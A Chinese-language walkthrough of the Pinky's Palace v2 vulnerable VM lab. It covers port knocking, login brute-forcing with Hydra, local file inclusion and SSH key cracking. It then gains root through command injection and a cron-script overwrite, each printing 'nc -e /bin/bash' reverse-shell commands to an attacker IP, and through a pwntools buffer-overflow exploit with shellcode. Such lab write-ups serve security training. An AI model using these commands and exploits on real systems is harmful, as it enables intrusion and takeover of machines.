准备工作
靶机基本信息
靶机名称:
Pinky's Palace v2
操作系统:Linux
网络连接方式:桥接至物理网络
虚拟机软件:VMware Workstation
渗透测试目标:获取root
权限并读取root.txt
文件
环境配置
- 解压压缩包,随后打开
VMware Workstation
,点击主页上的File
=>Open
按钮,选择Pinkys-Palace-Hard.ovf
文件即可导入。 - 执行命令
echo 192.168.2.141 pinkydb | sudo tee -a /etc/hosts
编辑DNS缓存,使域名pinkydb
指向靶机。
信息收集
IP地址发现
在Kali Linux中,我们使用netdiscover
工具发现靶机的IP地址:
shell
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.2.1 d4:b7:09:a1:c1:c4 1 60 zte corporation
192.168.2.101 0c:9d:92:10:4d:91 1 60 ASUSTek COMPUTER INC.
192.168.2.128 ac:e3:42:ae:bf:4a 1 60 HUAWEI TECHNOLOGIES CO.,LTD
192.168.2.141 00:0c:29:45:53:3c 1 60 VMware, Inc.
┌──(root㉿attacker)-[/home/hacker]
└─#
可以看到MAC设备名为192.168.2.141
的设备即为靶机,IP地址为192.168.2.141
。
ICMP探测
知道靶机IP地址之后,我们可以使用ping
命令检测靶机网络连通性:
shell
┌──(root㉿attacker)-[/home/hacker]
└─# ping -c 4 192.168.2.141
PING 192.168.2.141 (192.168.2.141) 56(84) bytes of data.
64 bytes from 192.168.2.141: icmp_seq=1 ttl=64 time=1.89 ms
64 bytes from 192.168.2.141: icmp_seq=2 ttl=64 time=0.903 ms
64 bytes from 192.168.2.141: icmp_seq=3 ttl=64 time=0.876 ms
64 bytes from 192.168.2.141: icmp_seq=4 ttl=64 time=0.913 ms
--- 192.168.2.141 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 0.876/1.145/1.890/0.430 ms
可以发现攻击机和靶机之间连通性良好。
防火墙探测
我们可以使用Nmap
发送TCP ACK
请求包,进行防火墙状态探测。
shell
┌──(root㉿attacker)-[/home/hacker]
└─# nmap -sA -p- 192.168.2.141
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-29 08:35 CST
Nmap scan report for 192.168.2.141 (192.168.2.141)
Host is up (0.00012s latency).
Not shown: 65532 unfiltered tcp ports (reset)
PORT STATE SERVICE
4655/tcp filtered unknown
7654/tcp filtered unknown
31337/tcp filtered Elite
MAC Address: 00:0C:29:45:53:3C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 4.93 seconds
发现靶机可能存在防火墙,进行网络端口扫描。
网络端口扫描
我们使用Nmap
扫描靶机开放端口、软件版本和操作系统版本:
shell
# TCP SYN扫描
nmap -sS -sV -O -p- -oN ./tcp_result.txt 192.168.2.141
# UDP扫描
nmap -sC -sU -sV -T4 -oN ./udp_result.txt 192.168.2.141
TCP
扫描结果如下:
UDP
扫描结果如下:
可以看到靶机开放了如下端口:
端口 | 传输层协议 | 应用层协议 | 状态 | 详细信息 |
---|---|---|---|---|
80 | TCP | HTTP | open | Apache httpd 2.4.25 ((Debian)) |
4655 | TCP | 未知 | filtered | 未知 |
7654 | TCP | 未知 | filtered | 未知 |
31337 | TCP | 未知 | filtered | 未知 |
同时确定靶机操作系统为Debian Linux
,内核版本大概为Linux 3.2 - 4.9
。
服务探测
80端口(Web应用程序)
使用火狐浏览器打开主页:http://pinkydb/
,内容如下所示:
大概是使用WordPress
搭建的一个个人博客,但搭建者只发了2篇帖子,都是没有任何价值的信息。查看网页源代码也没有发现有价值的信息。
打开开发者工具,查看网络信息,在HTTP
请求头中发现了一个Restful API
地址:
使用浏览器打开该API接口(http://pinkydb/index.php?rest_route=/
):
该API有一个用户信息接口http://pinkydb/index.php?rest_route=/wp/v2/users
,在该接口内发现一个WordPress用户pinky1337
:
下面我们使用dirsearch
扫描一下网站目录:
发现了一个关键目录/secret
,浏览器查看:
发现里面有一个bambam.txt
文件,内容如下:
text
8890
7000
666
pinkydb
结合网络端口扫描时发现的3个关闭端口,联想到了端口敲门服务。 尝试使用knock pinkydb 8890 7000 666
命令敲击靶机端口,但关闭的端口还是没有打开,猜测是顺序不对,于是将3个端口进行排列组合,得到6种顺序:
- 8890 7000 666
- 8890 666 7000
- 7000 8890 666
- 7000 666 8890
- 666 7000 8890
- 666 8890 7000
使用knock
命令依次按照上面的6种顺序依次敲击靶机,并使用Nmap
扫描靶机开放端口。结果发现7000 666 8890
为正确顺序:
重新使用Nmap
扫描3个端口:
shell
nmap -sS -A -p 4655,7654,31337 192.168.2.141
发现4655/tcp
端口运行SSH服务,7654/tcp
端口运行Nginx HTTP服务,31337/tcp
端口运行的服务未知。
4655端口(SSH服务)
使用Netcat
确定端口Banner信息:
shell
┌──(root㉿attacker)-[/home/hacker]
└─# nc -nv 192.168.2.141 4655
(UNKNOWN) [192.168.2.141] 4655 (?) open
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u3
31337端口(未知服务)
使用Netcat
连接31337端口,随后直接开始脸滚键盘(bushi
确定该服务的作用是和客户端打开一个Socket
连接,并将客户端输入的字符直接回显出来。但在有一些特殊字符的情况下会输出异常,怀疑存在栈溢出漏洞。
7654端口(Web应用程序)
使用浏览器打开链接:http://pinkydb:7654/
,发现主页只有一个名为Login
的超链接,点击之后进入登录框:
加引号测试SQL注入失败,先扫一下网站目录:
没有扫到高价值目标,准备爆破登录框。
渗透测试
旁站登录框爆破
首先,我们使用cewl
社会工程学爬虫工具来针对靶机Web服务生成专用字典:
shell
cewl http://pinkydb/ -w ./pass.txt
同时将前面收集到的用户名pinky1337
追加至字典文件中:
shell
echo "pinky1337" >> ./pass.txt
随后确定网站登录路由信息。在登录框中随意输入用户名和密码,然后打开BurpSuite代理,点击Login
按钮发送请求并截包 ,同时查看HTTP
数据包:
发现POST请求中的user
和pass
参数传输登录信息,同时如果登录失败会返回Invalid Username or Password!
信息。
所以Hydra
的爆破命令如下:
shell
# -L 指定用户名字典
# -P 指定密码字典
# -s 指定目标和协议类型
# -m 指定爆破参数,前面为请求页面,中间为POST参数(用户名和密码用标记代替),后面为登录失败返回信息,用英文冒号分隔
hydra -L ./pass.txt -P ./pass.txt -s 7654 pinkydb http-post-form -m "/login.php:user=^USER^&pass=^PASS^:Invalid"
成功爆破出了1个登录信息:
- 用户名:
Pinky
- 密码:
Passione
使用该凭据登录,发现登录后的/pageegap.php
页面上有两条链接,一条指向一个文本文档,内容如下:
text
- Stefano
- Intern Web developer
- Created RSA key for security for him to login
而点击Stefano's RSA
链接时会下载id_rsa
文件。
好啊。。。很好啊。。
同时还发现/pageegap.php
页面上GET
参数1337
的值为一个PHP文件的路径,猜测页面上有文件包含漏洞。
尝试包含/etc/passwd
文件:
文件包含漏洞一枚! 零分!下一位!
但美中不足的是,SSH私钥被加密了。。。。
于是直接使用john
工具进行哈希碰撞,字典选用/usr/share/wordlists/rockyou.txt
。
shell
# 将私钥转换为Hash
/usr/share/john/ssh2john.py id_rsa > ssh_keyhash
# 爆破
john ./ssh_keyhash -w /usr/share/wordlists/rockyou.txt
成功发现密码为secretz101
,尝试使用stefano
用户登录:
成功!!
P.S. 这里由于网络环境变化,靶机IP变为
192.168.129.9
,攻击机变为192.168.129.193
。
权限提升
本地信息收集
成功进入系统之后,我们首先上传LinPeas
工具进行本地信息收集 (在攻击机使用Python的http
模块启动服务器) :
shell
wget http://192.168.129.193:8000/linpeas.sh
基本信息
系统用户列表
系统进程信息
计划任务信息
开放端口列表
特殊权限文件
可以看到在/home/stefano/
目录下有一个名为qsub
且带有SUID
标识文件,所有者为pinky
。
SUID提权+ELF文件逆向
尝试使用file
命令查看该文件的类型:
shell
stefano@Pinkys-Palace:~$ file ~/tools/qsub
/home/stefano/tools/qsub: setuid executable, regular file, no read permission
可以看到是一个可执行文件,但因为该文件的权限为741
且所有者为www-data
,我们无法直接读取该文件进行逆向。
尝试执行该文件:
shell
stefano@Pinkys-Palace:~/tools$ ./qsub
./qsub <Message>
stefano@Pinkys-Palace:~/tools$ ./qsub aaa
[+] Input Password: bbb
[!] Incorrect Password!
可以看到该程序会接收一个命令行参数,回车之后会提示输入密码,但无法得知具体干了什么。
这时候我们可以尝试使用之前7654
端口的文件包含漏洞来包含该文件,进而使用curl
工具来下载二进制文件:
shell
┌──(root㉿attacker)-[/home/hacker/Desktop]
└─# curl "http://pinkydb:7654/pageegap.php?1337=/home/stefano/tools/qsub" -o ./qsub
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 13384 0 13384 0 0 1761k 0 --:--:-- --:--:-- --:--:-- 2178k
┌──(root㉿attacker)-[/home/hacker/Desktop]
└─# file ./qsub
./qsub: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e35337e922a770c832f5e2b0a9afc5819887bd10, not stripped
随后直接扔进IDA
里逆向分析:
可以看到该程序首先定义了s
和s2
两个字符串,然后将环境变量TERM
的值作为密码存储到字符串变量s2
中,再把用户输入的密码读入变量s
中,随后判断其长度是否大于40
,若大于40
则退出,若小于40
则将其和环境变量TERM
的值比较,若不相等则退出。之后直接设置UID
和GID
,并将命令行参数作为send()
函数的参数执行。 我们来看send()
函数的代码:
c++
int __fastcall send(const char *a1)
{
char *ptr; // [rsp+18h] [rbp-8h] BYREF
asprintf(&ptr, "/bin/echo %s >> /home/pinky/messages/stefano_msg.txt", a1);
return system(ptr);
}
可以看到这是一个执行命令的函数。命令为:/bin/echo [字符串a1的值] >> /home/pinky/messages/stefano_msg.txt
,结合前面的内容可知,用户输入的命令行参数直接传递至了危险函数中,存在命令执行后门。
查看靶机环境变量TERM
的值:
shell
stefano@Pinkys-Palace:~/tools$ echo $TERM
xterm-256color
直接在命令行参数中拼接反弹Shell命令,收到反弹:
shell
./qsub "a && nc -e /bin/bash 192.168.2.50 4444 && echo 1"
成功!
定时脚本提权
既然成功提权至pinky
用户,那么就去该用户的家目录看看:
shell
pinky@Pinkys-Palace:~/tools$ cd /home/pinky cd /home/pinky
cd /home/pinky
pinky@Pinkys-Palace:/home/pinky$ ls -lA ls -lA
ls -lA
total 20
-rw------- 1 pinky pinky 66 Mar 17 2018 .bash_history
-rw-r--r-- 1 pinky pinky 220 Mar 17 2018 .bash_logout
-rw-r--r-- 1 pinky pinky 3526 Mar 17 2018 .bashrc
drwxr-xr-x 2 pinky pinky 4096 Mar 17 2018 messages
-rw-r--r-- 1 pinky pinky 675 Mar 17 2018 .profile
发现message
文件夹是之前qsub
程序的文本输出目录,无敏感信息。查看~/.bash_history
文件:
shell
pinky@Pinkys-Palace:/home/pinky$ cat ./.bash_history cat ./.bash_history
cat ./.bash_history
ls -al
cd
ls -al
cd /usr/local/bin
ls -al
vim backup.sh
su demon
发现/usr/local/bin
目录下有backup.sh
文件。尝试查看:
发现这是一个将网站目录进行打包的脚本,推测该脚本会定期执行 ,同时我们现在拥有对其的读取、修改和执行权限。
直接使用echo
将反弹Shell的命令写入到该脚本中:
shell
echo "nc -e /bin/bash 192.168.2.50 5555" > backup.sh
成功接收到反弹Shell:
root进程提权+ELF文件逆向
登录demon
用户之后查看进程,有一项可疑信息引起了作者的注意:
进入/daemon
目录,查看文件信息:
shell
cd /daemon
ls -lA
file ./panel
./panel
可以看到该程序似乎在尝试绑定Socket
。
直接使用Python 3
启动HTTP服务器,下载下来扔到IDA
里逆向分析:
发现该程序就是监听31337
端口的程序。该程序首先设置了一些Socket
参数,随后在连接成功的情况下发送了我们之前看到的字符串,随后调用了handlecmd()
函数。
我们继续看handlecmd()
函数的代码:
c++
ssize_t __fastcall handlecmd(const char *a1, int a2)
{
size_t v2; // rax
char dest[112]; // [rsp+10h] [rbp-70h] BYREF
strcpy(dest, a1);
v2 = strlen(dest);
return send(a2, dest, v2, 0);
}
可以看到该函数接收一个常量字符串指针a1
和一个整数变量a2
,首先在函数起始处定义了一个112
位的字符串数组dest
,随后不经考虑地将字符串一股脑复制进dest
数组中,最后调用send()
函数将输入的字符串发送回去。整个过程如同行云流水般丝滑,但一点也没注意到复制字符串的过程存在严重的缓冲区溢出漏洞。
经过分析之后,编写如下EXP:
python
#! /usr/bin/python3
from pwn import *
buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\xd7\xad\x9f\x64\x85"
buf += b"\xd5\x1b\xca\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\xbd\x84\xc7\xfd\xef\xd7\x44\xa0\xd6"
buf += b"\xf3\x90\x61\xcd\x42\x53\x73\xd5\xad\xb8\x74\x45"
buf += b"\x7d\x19\xf8\x86\xe5\x16\x82\xef\xc5\x41\xa0\xfd"
buf += b"\xf5\x90\x61\xef\xd6\x45\x82\x28\x63\xf5\x45\xdd"
buf += b"\xda\x1e\xbf\x21\xc7\xa4\x3c\x1c\x9d\xa0\xe5\xb5"
buf += b"\xc4\xf1\x4b\xf6\xbd\x1b\x99\x9f\x24\x78\x36\xd2"
buf += b"\x9d\x92\x2c\xd8\xa8\x9f\x64\x85\xd5\x1b\xca\x90"
ret = p64(0x400cfb)
payload = buf + ret
print(payload)
r = remote("192.168.2.145", 31337)
r.recv()
r.send(payload)
print("ok")
成功收到反弹Shell!
Flag文件信息
文件名:
root.txt
文件路径:/root/root.txt
文件大小:639 Bytes
MD5:0ca7a0711e00c4e34369f885b0e5b8f4
SHA256:6445efec222263733b331233a27293d3afbcedeaf2fd08053333f1e9343c0e61
文件内容截图: